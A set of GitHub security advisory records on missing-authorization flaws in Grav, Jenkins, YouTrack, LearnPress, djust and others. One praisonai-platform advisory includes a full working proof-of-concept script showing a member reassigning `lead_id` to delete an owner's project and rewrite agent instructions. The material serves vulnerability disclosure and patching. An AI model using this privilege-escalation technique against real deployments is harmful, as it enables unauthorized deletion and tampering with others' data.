{
  "affected": [],
  "aliases": [
    "CVE-2026-75835"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-18T12:19:33Z",
    "severity": "CRITICAL"
  },
  "details": "Grav API plugin (getgrav/grav-plugin-api) before 1.0.14 contains a missing authorization vulnerability in userPassesAuthorize() (AbstractApiController.php). The function fails to consult the calling request\u0027s API key scopes, relying instead on the account\u0027s raw super-admin flag and ACL grants. As a result, an authenticated attacker holding a scoped API key minted on a privileged account can bypass their declared scope restrictions to access authorize-gated UI metadata and item definitions (sidebar/menubar/widget items and users-list columns/row-actions/filter-tabs) that their key scope should deny, resulting in information disclosure.",
  "id": "GHSA-c746-wcwc-p482",
  "modified": "2026-08-18T12:31:22Z",
  "published": "2026-08-18T12:31:22Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-p57v-xhv3-mf2w"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-75835"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-api-plugin-before-missing-authorization"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-58978"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-09T17:16:11Z",
    "severity": "MODERATE"
  },
  "details": "Missing Authorization vulnerability in WP Swings PDF Generator for WordPress allows Exploiting Incorrectly Configured Access Control Security Levels. This issue affects PDF Generator for WordPress: from n/a through 1.5.4.",
  "id": "GHSA-c75j-45gp-x7mv",
  "modified": "2026-04-01T18:36:08Z",
  "published": "2025-09-09T18:31:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-58978"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/pdf-generator-for-wp/vulnerability/wordpress-pdf-generator-for-wordpress-plugin-1-5-4-broken-access-control-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-117614"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-28T17:18:20Z",
    "severity": "HIGH"
  },
  "details": "Jenkins 2.587 and earlier, LTS 2.580.1 and earlier converts the launch commands in older agent configurations into launchers provided by the Command Agent Launcher Plugin without checking whether they have been approved by an administrator, allowing attackers with Agent/Configure permission to execute arbitrary code in the context of the Jenkins controller JVM.",
  "id": "GHSA-c765-qv4h-jc48",
  "modified": "2026-11-02T15:31:27Z",
  "published": "2026-10-28T18:32:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-117614"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2026-10-28/#SECURITY-4123"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-48902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-10T11:15:13Z",
    "severity": "MODERATE"
  },
  "details": "In JetBrains YouTrack before 2024.3.46677 improper access control allowed users with project update permission to delete applications via API",
  "id": "GHSA-c783-vxv2-vfw8",
  "modified": "2024-10-10T12:31:13Z",
  "published": "2024-10-10T12:31:13Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48902"
    },
    {
      "type": "WEB",
      "url": "https://www.jetbrains.com/privacy-security/issues-fixed"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.1.8"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "praisonai-platform"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.1.9"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61442"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T22:01:11Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "# Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass\n\n## Summary\n\n`praisonai-platform` lets an ordinary workspace member patch owner-created project, issue, and agent records even though the paired delete routes enforce owner/admin authorization. For projects, the member can first patch `lead_id` to their own user id and then delete the owner-created project, bypassing a delete guard that correctly returned `403` before the reassignment.\n\n## Technical Details\n\nThe affected boundary is the difference between \"is a workspace member\" and \"owns or administers this resource\". `src/praisonai-platform/praisonai_platform/api/deps.py` defines `require_workspace_member`, `require_workspace_admin`, `require_workspace_owner`, and `require_delete_permission`. `require_workspace_member` only checks that the caller has at least the `member` role in the workspace, while `require_delete_permission` allows delete only for workspace admins/owners or the resource owner.\n\nThe project update route in `src/praisonai-platform/praisonai_platform/api/routes/projects.py` defines `PATCH /workspaces/{workspace_id}/projects/{project_id}` with `user: AuthIdentity = Depends(require_workspace_member)`. It passes `title`, `description`, `status`, `lead_type`, and `lead_id` into `ProjectService.update`. `src/praisonai-platform/praisonai_platform/services/project_service.py` then writes `project.lead_id = lead_id` when supplied. The paired project delete route first loads the project and calls `require_delete_permission(workspace_id, user, session, resource_owner_id=project.lead_id)`. This means an ordinary member can mutate the ownership field that the delete route later trusts.\n\nThe same update/delete asymmetry exists for issues and agents. `src/praisonai-platform/praisonai_platform/api/routes/issues.py` defines `PATCH /workspaces/{workspace_id}/issues/{issue_id}` with only `require_workspace_member`, validates referenced ids are in the workspace, then calls `IssueService.update` to write fields including `title`, `description`, `status`, `priority`, `assignee_id`, and `project_id`. The paired delete route checks `resource_owner_id=issue.creator_id`. `src/praisonai-platform/praisonai_platform/api/routes/agents.py` defines `PATCH /workspaces/{workspace_id}/agents/{agent_id}` with only `require_workspace_member` and calls `AgentService.update` to write fields including `instructions`, `runtime_mode`, and `runtime_config`; the paired delete route checks `resource_owner_id=agent.owner_id`.\n\nThe intended owner/admin boundary is visible from the delete routes and from the local negative controls: a workspace member cannot directly delete an owner-created project, issue, or agent, and a non-member cannot patch an issue. The vulnerability is that the PATCH routes do not apply an equivalent owner/admin or resource-specific update guard.\n\n## PoV\n\nthe PoV starts an in-memory FastAPI app backed by SQLite, creates an owner, a member, and an outsider, adds the member to the owner\u0027s workspace, then exercises the project, issue, and agent routes without touching any live service.\n\nEssential excerpt:\n\n```python\ndirect_delete_project = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    headers=member_headers,\n)\n\npatch_project = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    json={\n        \"title\": \"Member-controlled project\",\n        \"status\": \"active\",\n        \"lead_type\": \"member\",\n        \"lead_id\": member_id,\n    },\n    headers=member_headers,\n)\n\ndelete_project_after_takeover = await client.delete(\n    f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n    headers=member_headers,\n)\n\npatch_issue = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n    json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n    headers=member_headers,\n)\n\npatch_agent = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n    json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n    headers=member_headers,\n)\n\noutsider_patch_issue = await client.patch(\n    f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n    json={\"title\": \"outsider attempt\"},\n    headers=outsider_headers,\n)\n```\n\nThe full PoV script is included in the appendix below as `pov_platform_member_update_bypass.py`.\n\n## PoC\n\nCurrent head tested:\n\n```text\n846568c7a5d8ce9e71e56e4c213f027c04909753\n2026-06-17T20:13:04+01:00\nchore: clean up redundant \u0027persist-credentials\u0027 entries in GitHub workflows\n```\n\nRun against a local checkout of current head:\n\n```sh\nuv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --repo /path/to/PraisonAI --json\n```\n\nDecisive current-head output:\n\n```json\n{\n  \"source\": \"git:846568c7a5d8ce9e71e56e4c213f027c04909753\",\n  \"workspace_role\": \"member\",\n  \"checks\": {\n    \"member_direct_project_delete_before_patch\": 403,\n    \"member_project_patch_lead_to_self\": 200,\n    \"member_project_delete_after_lead_takeover\": 204,\n    \"owner_get_project_after_member_delete\": 404,\n    \"member_issue_patch\": 200,\n    \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n    \"member_issue_delete_after_patch\": 403,\n    \"member_agent_patch\": 200,\n    \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n    \"member_agent_delete_after_patch\": 403,\n    \"non_member_issue_patch\": 403\n  },\n  \"vulnerable\": true\n}\n```\n\nRun against the latest PyPI package observed during testing:\n\n```sh\nuv run --with \u0027praisonai-platform==0.1.8\u0027 --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with \u0027pydantic[email]\u003e=2.10.0\u0027 --with PyJWT --with \u0027passlib[bcrypt]\u003e=1.7.4\u0027 --with \u0027bcrypt==4.0.1\u0027 python pov_platform_member_update_bypass.py --json\n```\n\nDecisive latest-PyPI output:\n\n```json\n{\n  \"source\": \"pypi:praisonai-platform==0.1.8\",\n  \"workspace_role\": \"member\",\n  \"checks\": {\n    \"member_direct_project_delete_before_patch\": 403,\n    \"member_project_patch_lead_to_self\": 200,\n    \"member_project_delete_after_lead_takeover\": 204,\n    \"owner_get_project_after_member_delete\": 404,\n    \"member_issue_patch\": 200,\n    \"owner_observes_member_issue_title\": \"Member rewrote owner issue\",\n    \"member_issue_delete_after_patch\": 403,\n    \"member_agent_patch\": 200,\n    \"owner_observes_member_agent_instructions\": \"member-controlled instructions\",\n    \"member_agent_delete_after_patch\": 403,\n    \"non_member_issue_patch\": 403\n  },\n  \"vulnerable\": true\n}\n```\n\nVersion sweep excerpt:\n\n```text\npraisonai-platform 0.1.4: member PATCH project/issue/agent returned 200, but direct member DELETE also returned 204, so the current delete-guard bypass is masked by broader older delete authorization behavior.\npraisonai-platform 0.1.6: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\npraisonai-platform 0.1.8: direct project DELETE returned 403, member PATCH set lead to self returned 200, project DELETE after lead takeover returned 204, issue/agent PATCH returned 200, issue/agent DELETE returned 403.\n```\n\n## Impact\n\nAn ordinary workspace member can modify owner-created Platform records that should remain owner/admin controlled. For projects, the member can turn a denied direct delete into an allowed delete by reassigning `lead_id` through PATCH, causing owner project data loss. For issues, the member can rewrite owner-created titles/statuses while delete remains blocked. For agents, the member can replace owner-created instructions and runtime-related configuration fields while delete remains blocked. In a shared workspace, this is a concrete integrity violation and can disrupt work tracking or agent behavior.\n\nSuggested severity: High. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L` (7.1). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality impact.\n\n## Suggested Fix\n\nApply resource-specific update authorization before mutating project, issue, or agent records. A straightforward approach is to mirror the delete route\u0027s owner/admin check for PATCH routes, or introduce a `require_update_permission` helper that allows workspace admins/owners and the relevant resource owner only.\n\nFor projects, do not let an ordinary member set `lead_id` on an existing owner-created project. Treat lead reassignment as an admin/owner operation, and validate that the new lead belongs to the workspace and is eligible for that role.\n\nAdd regression tests for these cases: a plain member cannot patch an owner-created project, issue, or agent; a member cannot reassign project `lead_id` to gain delete permission; owner/admin callers can still patch according to intended policy; a non-member still receives `403`.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe owner/admin update authorization gap is confirmed in sampled versions `0.1.4`, `0.1.6`, `0.1.8`, and current head. The specific project delete-guard bypass through `lead_id` reassignment is confirmed in `0.1.6`, `0.1.8`, and current head. In `0.1.4`, direct member deletes already returned `204`, so the lead-reassignment chain is masked by a broader older delete issue.\n\nSuggested affected range for the update authorization gap: `pypi:praisonai-platform \u003e=0.1.4, \u003c=0.1.8`. Suggested affected range for the project lead-reassignment delete bypass after delete checks were introduced: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include several related authorization fixes, but the checked public advisories do not appear to cover this same same-workspace PATCH authorization gap and project `lead_id` delete-guard bypass.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers DELETE endpoints. This report is distinct because the PoV shows direct project DELETE is denied with `403`, then PATCH succeeds, then DELETE succeeds only after `lead_id` is reassigned through the update route.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers user-controlled `project_id` reference handling and cross-workspace stats pollution. This report does not rely on foreign workspace ids; the attacker is a legitimate member of the same workspace as the owner-created records.\n\n`GHSA-gv23-xrm3-8c62`, `GHSA-6h6v-6m7w-7vxx`, `GHSA-943m-6wx2-rc2j`, `GHSA-xwq8-frcg-77q8`, and `GHSA-7p8g-6c6g-h9w7` cover cross-workspace object access by global id. This report is scoped to same-workspace owner/admin authorization and includes a non-member negative control returning `403`.\n\n## References\n\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-6h6v-6m7w-7vxx`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-943m-6wx2-rc2j`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7p8g-6c6g-h9w7`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Longer Version Sweep\n\n```text\n=== praisonai-platform 0.1.4 ===\n\"member_direct_project_delete_before_patch\": 204\n\"member_project_patch_lead_to_self\": 404\n\"member_issue_patch\": 200\n\"member_agent_patch\": 200\n\"member_issue_delete_after_patch\": 204\n\"member_agent_delete_after_patch\": 204\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.6 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n\n=== praisonai-platform 0.1.8 ===\n\"member_direct_project_delete_before_patch\": 403\n\"member_project_patch_lead_to_self\": 200\n\"member_project_delete_after_lead_takeover\": 204\n\"owner_get_project_after_member_delete\": 404\n\"member_issue_patch\": 200\n\"member_issue_delete_after_patch\": 403\n\"member_agent_patch\": 200\n\"member_agent_delete_after_patch\": 403\n\"non_member_issue_patch\": 403\n```\n\n## Appendix B - Full PoV Script\n\nSave this as `pov_platform_member_update_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform same-workspace member update bypass.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n    if repo is None:\n        return\n    platform_root = repo / \"src\" / \"praisonai-platform\"\n    agents_root = repo / \"src\" / \"praisonai-agents\"\n    for path in (str(platform_root), str(agents_root)):\n        if path not in sys.path:\n            sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n    response = await client.post(\n        \"/api/v1/auth/register\",\n        json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n    )\n    if response.status_code \u003e= 400:\n        raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n    body = response.json()\n    return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n    _load_local_source(repo)\n\n    from httpx import ASGITransport, AsyncClient\n    from sqlalchemy.ext.asyncio import create_async_engine\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db import base as base_mod\n    from praisonai_platform.db.base import Base, reset_engine\n\n    await reset_engine()\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n    base_mod._engine = engine\n    base_mod._session_factory = None\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    transport = ASGITransport(app=app)\n    async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n        owner_token, owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n        member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n        outsider_token, _ = await _register(client, \"outsider@example.com\", \"Outsider\")\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n        outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n        ws_resp = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n            headers=owner_headers,\n        )\n        ws_resp.raise_for_status()\n        workspace_id = ws_resp.json()[\"id\"]\n\n        add_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\"user_id\": member_id, \"role\": \"member\"},\n            headers=owner_headers,\n        )\n        add_member.raise_for_status()\n\n        project_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/projects/\",\n            json={\n                \"title\": \"Owner project\",\n                \"description\": \"Owned by the workspace owner\",\n                \"lead_type\": \"member\",\n                \"lead_id\": owner_id,\n            },\n            headers=owner_headers,\n        )\n        project_resp.raise_for_status()\n        project_id = project_resp.json()[\"id\"]\n\n        direct_delete_project = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=member_headers,\n        )\n\n        patch_project = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            json={\n                \"title\": \"Member-controlled project\",\n                \"status\": \"active\",\n                \"lead_type\": \"member\",\n                \"lead_id\": member_id,\n            },\n            headers=member_headers,\n        )\n\n        delete_project_after_takeover = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=member_headers,\n        )\n        owner_get_deleted_project = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/projects/{project_id}\",\n            headers=owner_headers,\n        )\n\n        issue_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/\",\n            json={\"title\": \"Owner issue\", \"priority\": \"high\"},\n            headers=owner_headers,\n        )\n        issue_resp.raise_for_status()\n        issue_id = issue_resp.json()[\"id\"]\n\n        patch_issue = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            json={\"title\": \"Member rewrote owner issue\", \"status\": \"done\"},\n            headers=member_headers,\n        )\n        owner_get_issue = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            headers=owner_headers,\n        )\n        delete_issue = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            headers=member_headers,\n        )\n\n        agent_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/agents/\",\n            json={\"name\": \"OwnerAgent\", \"instructions\": \"owner-only instructions\"},\n            headers=owner_headers,\n        )\n        agent_resp.raise_for_status()\n        agent_id = agent_resp.json()[\"id\"]\n\n        patch_agent = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            json={\"instructions\": \"member-controlled instructions\", \"status\": \"idle\"},\n            headers=member_headers,\n        )\n        owner_get_agent = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            headers=owner_headers,\n        )\n        delete_agent = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/agents/{agent_id}\",\n            headers=member_headers,\n        )\n\n        outsider_patch_issue = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}\",\n            json={\"title\": \"outsider attempt\"},\n            headers=outsider_headers,\n        )\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    owner_issue_body = owner_get_issue.json() if owner_get_issue.status_code == 200 else {}\n    owner_agent_body = owner_get_agent.json() if owner_get_agent.status_code == 200 else {}\n    patch_project_body = patch_project.json() if patch_project.status_code == 200 else {}\n\n    checks = {\n        \"member_direct_project_delete_before_patch\": direct_delete_project.status_code,\n        \"member_project_patch_lead_to_self\": patch_project.status_code,\n        \"member_project_delete_after_lead_takeover\": delete_project_after_takeover.status_code,\n        \"owner_get_project_after_member_delete\": owner_get_deleted_project.status_code,\n        \"member_issue_patch\": patch_issue.status_code,\n        \"owner_observes_member_issue_title\": owner_issue_body.get(\"title\"),\n        \"member_issue_delete_after_patch\": delete_issue.status_code,\n        \"member_agent_patch\": patch_agent.status_code,\n        \"owner_observes_member_agent_instructions\": owner_agent_body.get(\"instructions\"),\n        \"member_agent_delete_after_patch\": delete_agent.status_code,\n        \"non_member_issue_patch\": outsider_patch_issue.status_code,\n    }\n    vulnerable = (\n        checks[\"member_direct_project_delete_before_patch\"] == 403\n        and checks[\"member_project_patch_lead_to_self\"] == 200\n        and patch_project_body.get(\"lead_id\") == member_id\n        and checks[\"member_project_delete_after_lead_takeover\"] == 204\n        and checks[\"owner_get_project_after_member_delete\"] == 404\n        and checks[\"member_issue_patch\"] == 200\n        and checks[\"owner_observes_member_issue_title\"] == \"Member rewrote owner issue\"\n        and checks[\"member_issue_delete_after_patch\"] == 403\n        and checks[\"member_agent_patch\"] == 200\n        and checks[\"owner_observes_member_agent_instructions\"] == \"member-controlled instructions\"\n        and checks[\"member_agent_delete_after_patch\"] == 403\n        and checks[\"non_member_issue_patch\"] == 403\n    )\n    return {\n        \"package\": \"praisonai-platform\",\n        \"source\": _source_id(repo),\n        \"workspace_role\": \"member\",\n        \"summary\": \"A workspace member can patch owner-created project, issue, and agent records. Project lead reassignment then bypasses the delete ownership guard.\",\n        \"checks\": checks,\n        \"vulnerable\": vulnerable,\n    }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n    if repo is None:\n        import importlib.metadata\n\n        return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n    import subprocess\n\n    rev = subprocess.check_output(\n        [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n        text=True,\n    ).strip()\n    return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path)\n    parser.add_argument(\"--json\", action=\"store_true\")\n    args = parser.parse_args()\n\n    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n    if args.json:\n        print(json.dumps(result, indent=2, sort_keys=True))\n    else:\n        for key, value in result[\"checks\"].items():\n            print(f\"{key}: {value}\")\n        print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n\n```",
  "id": "GHSA-c78w-2q4r-68r7",
  "modified": "2026-10-08T22:01:11Z",
  "published": "2026-10-08T22:01:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-c78w-2q4r-68r7"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61442"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-patch"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Platform member PATCH routes allow owner resource rewrites and project lead reassignment delete bypass"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-13964"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-06T09:15:54Z",
    "severity": "MODERATE"
  },
  "details": "The LearnPress \u2013 WordPress LMS Plugin plugin for WordPress is vulnerable to unauthorized modification of data due to a missing capability check on the catch_lp_ajax function in all versions up to, and including, 4.3.2. This makes it possible for unauthenticated attackers to modify course contents by adding/removing/updating/re-ordering sections or modifying section items.",
  "id": "GHSA-c79c-p5w8-9wmc",
  "modified": "2026-01-06T09:30:29Z",
  "published": "2026-01-06T09:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13964"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.1/inc/Ajax/AbstractAjax.php#L18"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/learnpress/tags/4.3.1/inc/Ajax/EditCurriculumAjax.php#L52"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/ae363511-8a1f-476a-9851-61f7763428c2?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "djust"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.0.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-61596"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-16T22:06:02Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Impact\ndjust\u0027s per-object authorization (`get_object` + `has_object_permission`, ADR-017) was enforced on the WebSocket **mount** and **event** paths but **not** on three other render entry points: (a) the initial **HTTP GET** render, (b) **SPA `url_change`** navigation, and (c) `{% live_render %}` **embedded child** views. An authenticated user could therefore view (and on some paths act on) an object they are not authorized for by loading the page directly, navigating to it via SPA url-change, or composing it as an embedded child \u2014 a classic IDOR / broken object-level access control on object-scoped views.\n\n### Patches\nFixed in **djust 1.0.7**. All render entry points now route through a shared `enforce_object_permission` chokepoint: HTTP GET returns **403**, `url_change` emits a `permission_denied` frame and skips the render, and `{% live_render %}` (eager + lazy) refuses the embed. Views without a custom `get_object` are unaffected (no-op).\n\n### Workarounds\nNo reliable workaround short of upgrading. Do not expose object-scoped views through the HTTP-GET / url_change / live_render paths until patched.",
  "id": "GHSA-c7c5-5j6r-q957",
  "modified": "2026-09-16T22:06:02Z",
  "published": "2026-09-16T22:06:02Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/security/advisories/GHSA-c7c5-5j6r-q957"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/djust-org/djust"
    },
    {
      "type": "WEB",
      "url": "https://github.com/djust-org/djust/releases/tag/v1.0.7"
    }
  ],
  "schema_version": "1.4.0",
